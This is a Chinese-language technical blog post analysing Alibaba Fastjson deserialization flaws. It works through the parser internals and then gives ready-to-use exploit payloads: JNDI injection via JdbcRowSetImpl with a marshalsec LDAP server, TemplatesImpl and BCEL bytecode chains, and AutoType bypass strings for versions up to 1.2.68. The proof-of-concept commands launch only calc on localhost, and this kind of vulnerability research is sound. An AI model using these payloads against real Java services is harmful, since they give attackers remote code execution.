FastJson简介Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
序列化使用JSON.toJSONString
和进行序列化操作,首先需要定义一个Student类
1
2
3
4
5
6
7
8
9
10
11
public class Student {
public int age ;
private String name ;
public void setName ( String name ){
this . name = name ;
}
public String getName (){
return this . name ;
}
}
可以进行序列化操作:
1
2
3
4
Student student = new Student ();
student . setName ( "EastJun" );
String a = JSON . toJSONString ( student , SerializerFeature . WriteClassName );
System . out . println ( a );
其中指定SerializerFeature.WriteClassName
参数可以在序列化字符串中加入类的ClassName,上面的代码输出结果如下:
1
{ "@type" : "Student" , "age" : 0 , "name" : "EastJun" }
反序列化使用JSON.parseObject
和JSON.parse
可以进行反序列化操作,使用@type
可以反序列化任意类:
1
2
JSONObject jobj = JSON . parseObject ( "{\"@type\":\"Student\",\"age\":10,\"name\":\"EastJun\"}" );
System . out . println ( jobj );
执行上面这段代码可以将字符串进行反序列化,其中使用@type
指定反序列化的ClassName。
在反序列化时会调用类中成员变量的set和get方法,例如上面的Student类定义了一个public和一个private类型的成员变量,对于name这个private变量的设置是调用setName
方法实现的,而对于public的变量则直接进行赋,而类中如果存在setAge
方法则在反序列化时会调用setAge
方法对age进行赋值。
反序列化流程FastJson在使用parseObject
进行反序列化时将传入的字符串交给parse
函数进行处理,然后将处理结果转为JSONObject
类
在JSON.parse
函数中首先创建一个JSONParser
,然后调用parser.parse()
进行反序列化
1
2
DefaultJSONParser parser = new DefaultJSONParser ( text , ParserConfig . getGlobalInstance (), features );
Object value = parser . parse ();
创建JSONParser
时在DefaultJSONParser
的构造方法中会获取到传入的第一个字符串为{
,将token值设置为12:
1
2
3
4
5
6
7
8
9
if ( ch == '{' ) {
lexer . next ();
(( JSONLexerBase ) lexer ). token = 12 ;
} else if ( ch == '[' ) {
lexer . next ();
(( JSONLexerBase ) lexer ). token = 14 ;
} else {
lexer . nextToken ();
}
然后在parser.parse()
函数中根据token的值为12执行这一段代码:
1
2
JSONObject object = new JSONObject ( lexer . isEnabled ( Feature . OrderedField ));
return this . parseObject (( Map ) object , fieldName );
在parseObject
函数中获取到JSON的key值,如果key值为@type
则先使用TypeUtils.loadClass
对类进行加载,然后进行反序列化:
在TypeUtils.loadClass
函数中的代码如下:
这里有两个if语句,一个是判断[
字符串返回数组,另一个if语句用于递归地去除开头的L
和结尾的;
然后返回加载的Class
然后进入到getDeserializer()
方法获取Deserializer
进行反序列化:
1
2
ObjectDeserializer deserializer = this . config . getDeserializer ( clazz );
thisObj = deserializer . deserialze ( this , clazz , fieldName );
在getDeserializer()
方法中使用denyList
对可以进行反序列化的类进行限制:
在FastJson1.2.24版本的denyList中只有一个java.lang.Thread
类。
最后到达deserializer.deserialze
方法中进行对类反序列化,其中调用了get和set方法对成员变量进行赋值
JdbcRowSetImpl利用链使用JdbcRowSetImpl可以进行JNDI注入:
1
{ "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://127.0.0.1:9999/Exploit" , "autoCommit" : true }
将远程恶意类放在8888端口的http服务中:
1
2
3
4
5
public class Exploit {
public Exploit () throws Exception {
Process p = Runtime . getRuntime (). exec ( new String [] { "calc" });
}
}
启动ldap服务:
1
java - cp marshalsec - 0 . 0 . 3 - SNAPSHOT - all . jar marshalsec . jndi . LDAPRefServer http : //127.0.0.1:8888/#Exploit 9999
然后在反序列化后首先调用setDataSourceName()
方法设置dataSource
,然后调用setAutoCommit()
方法设置autoCommit
。
在setAutoCommit()
方法中调用connect()
函数时有这一段代码可以进行JNDI注入:
1
2
DataSource ds = ( DataSource ) ctx . lookup
( getDataSourceName ());
JNDI注入的原理之前写过:JNDI注入
TemplatesImpl利用链在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中的成员变量都是private属性的,而,所以这条链需要在parse时设置Feature.SupportNonPublicField
,然后在反序列化时FastJson可以进行反射调用给private的成员变量赋值
首先需要编译一个Evil类,然后将class文件转为base64形式
1
2
3
4
5
6
7
8
9
10
public class Evil extends AbstractTranslet {
public Evil () throws Exception {
Runtime . getRuntime (). exec ( new String [] { "calc" });
}
@Override
public void transform ( DOM document , DTMAxisIterator iterator , SerializationHandler handler ) {
}
public void transform ( DOM document , com . sun . org . apache . xml . internal . serializer . SerializationHandler [] haFndlers ) throws TransletException {
}
}
然后传入JSON字符串:
1
2
3
4
5
6
7
{
"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ,
"_bytecodes" :[ "payload here" ],
"_name" : "a" ,
"_tfactory" :{},
"_outputProperties" :{}
}
可以在Java中写这一段代码生成payload:
1
2
3
4
5
JavaClass javaClass = Repository . lookupClass ( Evil . class );
String b64 = new String ( Base64 . getEncoder (). encode ( javaClass . getBytes ()));
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" + b64 + "\"],\"_name\":\"a\",\"_tfactory\":{},\"_outputProperties\":{}}" ;
System . out . println ( payload );
JSONObject jobj = JSON . parseObject ( payload , Feature . SupportNonPublicField );
在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类的内部有定义一个类加载器TransletClassLoader
可以用加载字节码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static final class TransletClassLoader extends ClassLoader {
private final Map < String , Class > _loadedExternalExtensionFunctions ;
TransletClassLoader ( ClassLoader parent ) {
super ( parent );
_loadedExternalExtensionFunctions = null ;
}
TransletClassLoader ( ClassLoader parent , Map < String , Class > mapEF ) {
super ( parent );
_loadedExternalExtensionFunctions = mapEF ;
}
public Class <?> loadClass ( String name ) throws ClassNotFoundException {
Class <?> ret = null ;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if ( _loadedExternalExtensionFunctions != null ) {
ret = _loadedExternalExtensionFunctions . get ( name );
}
if ( ret == null ) {
ret = super . loadClass ( name );
}
return ret ;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass ( final byte [] b ) {
return defineClass ( null , b , 0 , b . length );
}
}
在FastJson反序列化TemplatesImpl
后会调用getOutputProperties()
方法,这个方法最终调用到getTransletInstance
方法时会使用TransletClassLoader
加载_bytecodes
中的字节码,然后判断父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,如果不是就会抛出异常:
最后调用newInstance()
方法对类进行实例化执行Evil类的构造方法进行RCE
BasicDataSource利用链这条链使用了org.apache.tomcat.dbcp.dbcp2.BasicDataSource
,首先需要引入Tomcat相关的包:
1
2
3
4
5
<dependency>
<groupId> org.apache.tomcat</groupId>
<artifactId> tomcat-dbcp</artifactId>
<version> 10.0.16</version>
</dependency>
payload如下:
1
2
3
4
5
6
7
8
9
10
{
{
"x" :{
"@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" ,
"driverClassLoader" : {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
}, "driverClassName" : "$$BCEL$$$l$8b$I$A$..."
}
} : "x"
}
在分析payload之前还得看看FastJson的特性:
首先在这里写一个Student类:
1
2
3
4
5
public class Student {
public String getTest (){
return "abcd" ;
}
}
在调用JSON.toJSONString()
方法进行反序列化时即是这里没有test成员变量也能调用这个getTets()
方法输出一个test参数:
还有一个特性是在反序列化时如果key值为JSONObject,会调用JSONObject的toString()
方法,而调用JSONObject的toString()
方法时存在对getter方法的调用:
1
{ { "x" :{ "@type" : "Student" }} : "x" }
例如上面一段JSON字符串进行反序列化时同样会调用getTest()
方法
在上面这条链中FastJson对BasicDataSource
进行了反序列化,然后调用了getConnection()
方法,再经过一系列调用最后到了org.apache.tomcat.dbcp.dbcp2.DriverFactory
类中的createDriver()
方法,然后执行到Class.forName()
对类进行加载并执行static代码块:
这里在使用Class.forName
加载类时第三个参数为我们指定的类加载器:
1
driverFromCCL = Class . forName ( driverClassName , true , driverClassLoader );
然后这里使用了com.sun.org.apache.bcel.internal.util.ClassLoader
作为ClassLoader
,它可以从需要加载的类名中提取字节码进行加载:
这个类加载器检测了类名中是否包含$$BCEL$$
,如果包含则将后面的字符串提取出来进行解码作为字节码进行加载。
payload在Java中可以这样写:
1
2
3
4
5
6
7
8
9
10
11
12
13
JavaClass javaClass = Repository . lookupClass ( Evil . class );
String code = Utility . encode ( javaClass . getBytes (), true );
String payload = "{\n" +
" {\n" +
" \"x\":{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\"driverClassName\": \"$$BCEL$$" + code + "\"\n" +
" }\n" +
" }: \"x\"\n" +
"}" ;
JSONObject jobj = JSON . parseObject ( payload );
然后在Evil类的static代码块中写入恶意代码
1
2
3
4
5
6
7
public class Evil {
static {
try {
Runtime . getRuntime (). exec ( new String [] { "calc" });
} catch ( Exception ignore ){}
}
}
最终可以进行RCE:
修复与Bypass ver>=1.2.25&ver<=1.2.41在1.2.25版本以后默认关闭AutoType,还加入了checkAutoType()
使用黑名单+白名单对类进行检查,在开启黑名单时先使用白名单检测,再使用黑名单检测,而对黑名单的检测如下
1
2
3
4
5
6
7
8
9
10
11
for ( mask = 0 ; mask < this . denyList . length ; ++ mask ) {
accept = this . denyList [ mask ] ;
if ( className . startsWith ( accept ) &&
TypeUtils . getClassFromMapping ( typeName ) == null ) {
throw new JSONException ( "autoType is not support. " + typeName );
}
}
//somecode here
if ( clazz == null ) {
clazz = TypeUtils . loadClass ( typeName , this . defaultClassLoader , false );
}
这里使用startsWith
检查黑名单,然后过了黑名单之后使用TypeUtils.loadClass()
对类进行加载,这个方法在前面有分析过,会递归地删除开头的L
和结尾的;
所以加入L
和;
即可绕过黑名单检测
payload:
1
{ "@type" : "Lcom.sun.rowset.JdbcRowSetImpl;" , "dataSourceName" : "ldap://127.0.0.1:9999/Exploit" , "autoCommit" : true }
ver=1.2.42这个版本将黑名单换为十进制了,而且在checkAutoType时首先去除了L
和;
可以双写进行绕过:
1
{ "@type" : "LLcom.sun.rowset.JdbcRowSetImpl;;" , "dataSourceName" : "ldap://127.0.0.1:9999/Exploit" , "autoCommit" : true }
ver=1.2.43这个版本修复了多个L的情况,但是TypeUtils.loadClass()
中还有对[
进行特殊处理,所以可以用于绕过黑名单:
1
{ "@type" : "[com.sun.rowset.JdbcRowSetImpl" [{ "dataSourceName" : "ldap://127.0.0.1:9999/Exploit" , "autoCommit" : true ] } }
ver<=1.2.471.2.47及以下的版本都可以在不开启AutoType时反序列化
payload:
1
2
3
4
5
6
7
8
9
10
11
{
"a" : {
"@type" : "java.lang.Class" ,
"val" : "com.sun.rowset.JdbcRowSetImpl"
},
"b" : {
"@type" : "com.sun.rowset.JdbcRowSetImpl" ,
"dataSourceName" : "ldap://127.0.0.1:9999/Exploit" ,
"autoCommit" : true
}
}
在这里首先进行反序列化的是java.lang.Class
类,对该类进行反序列时通过getDeserializer()
方法获取到的Deserializer
为MiscCodec
,然后会调用调用deserializer.deserialze()
方法,然后FastJson会获取val
的值并调用TypeUtils.loadClass
进行加载
然后FastJson会调用contextClassLoader.loadClass()
方法对类进行加载,然后调用mappings.put()
方法将恶意类放到mappings中:
接着在反序列化com.sun.rowset.JdbcRowSetImpl
时在checkAutoType()
方法时因为没有开启AutoType
所以跳过了黑名单的判断,然后调用TypeUtils.getClassFromMapping()
方法直接从mappings中获取类并返回。
后面就是利用JdbcRowSetImpl
类进行JNDI注入。
1.2.48版本对的修复方式是对TypeUtils.loadClass
增加了cache参数,默认为false
只有在cache参数为true时才会将类加入mappings中:
ver<=1.2.68一直到这个版本都可以绕过AutoType进行反序列化,复现这个漏洞需要先在本地写一个可以利用的恶意类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package vul ;
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable ( String cmd ) {
try {
Runtime . getRuntime (). exec ( cmd );
} catch ( Exception e ) {
e . printStackTrace ();
}
}
@Override
public void close () throws Exception {
}
}
payload:
1
{ "@type" : "java.lang.AutoCloseable" , "@type" : "Evil" , "cmd" : "calc" }
在传入上面这样的JSON字符串时可以反序列化这个类并执行命令。
可以绕过AutoType的原理是在checkAutoType()
方法中可以指定expectClass
,在指定expectClass
后只要加载的类不为这几个特殊的类都可以设置expectClassFlag
为true:
1
2
3
4
5
6
7
8
9
10
11
12
13
if ( expectClass == null ) {
expectClassFlag = false ;
} else if ( expectClass != Object . class
&& expectClass != Serializable . class
&& expectClass != Cloneable . class
&& expectClass != Closeable . class
&& expectClass != EventListener . class
&& expectClass != Iterable . class
&& expectClass != Collection . class ) {
expectClassFlag = true ;
} else {
expectClassFlag = false ;
}
然后就能绕过这一段check进入TypeUtils.loadClass
对类进行加载
然后可以找到在ThrowableDeserializer
和JavaBeanDeserializer
中在调用checkAutoType()
方法时有指定expectClass
:
在前面调用getDeserializer()
方法获取Deserializer
时有这样一些判断,检查是否是这几个类的子类,然后创建对应的Deserializer
:
然后在调用JavaBeanDeserializer
的deserialze()
方法时可以绕过checkAutoType()
的检查反序列化实现了AutoCloseable
接口的类。
不过实际上这只是绕过了AutoType
的检查,实际利用还需要gadget,在BlackHat2021议题中有公布一些已知的gadget,包括mysql SSRF/RCE链和commons-io文件读取链:https://paper.seebug.org/1698/
RefererJava动态类加载,当FastJson遇到内网
FastJson 反序列化学习
Fastjson三种利用链对比分析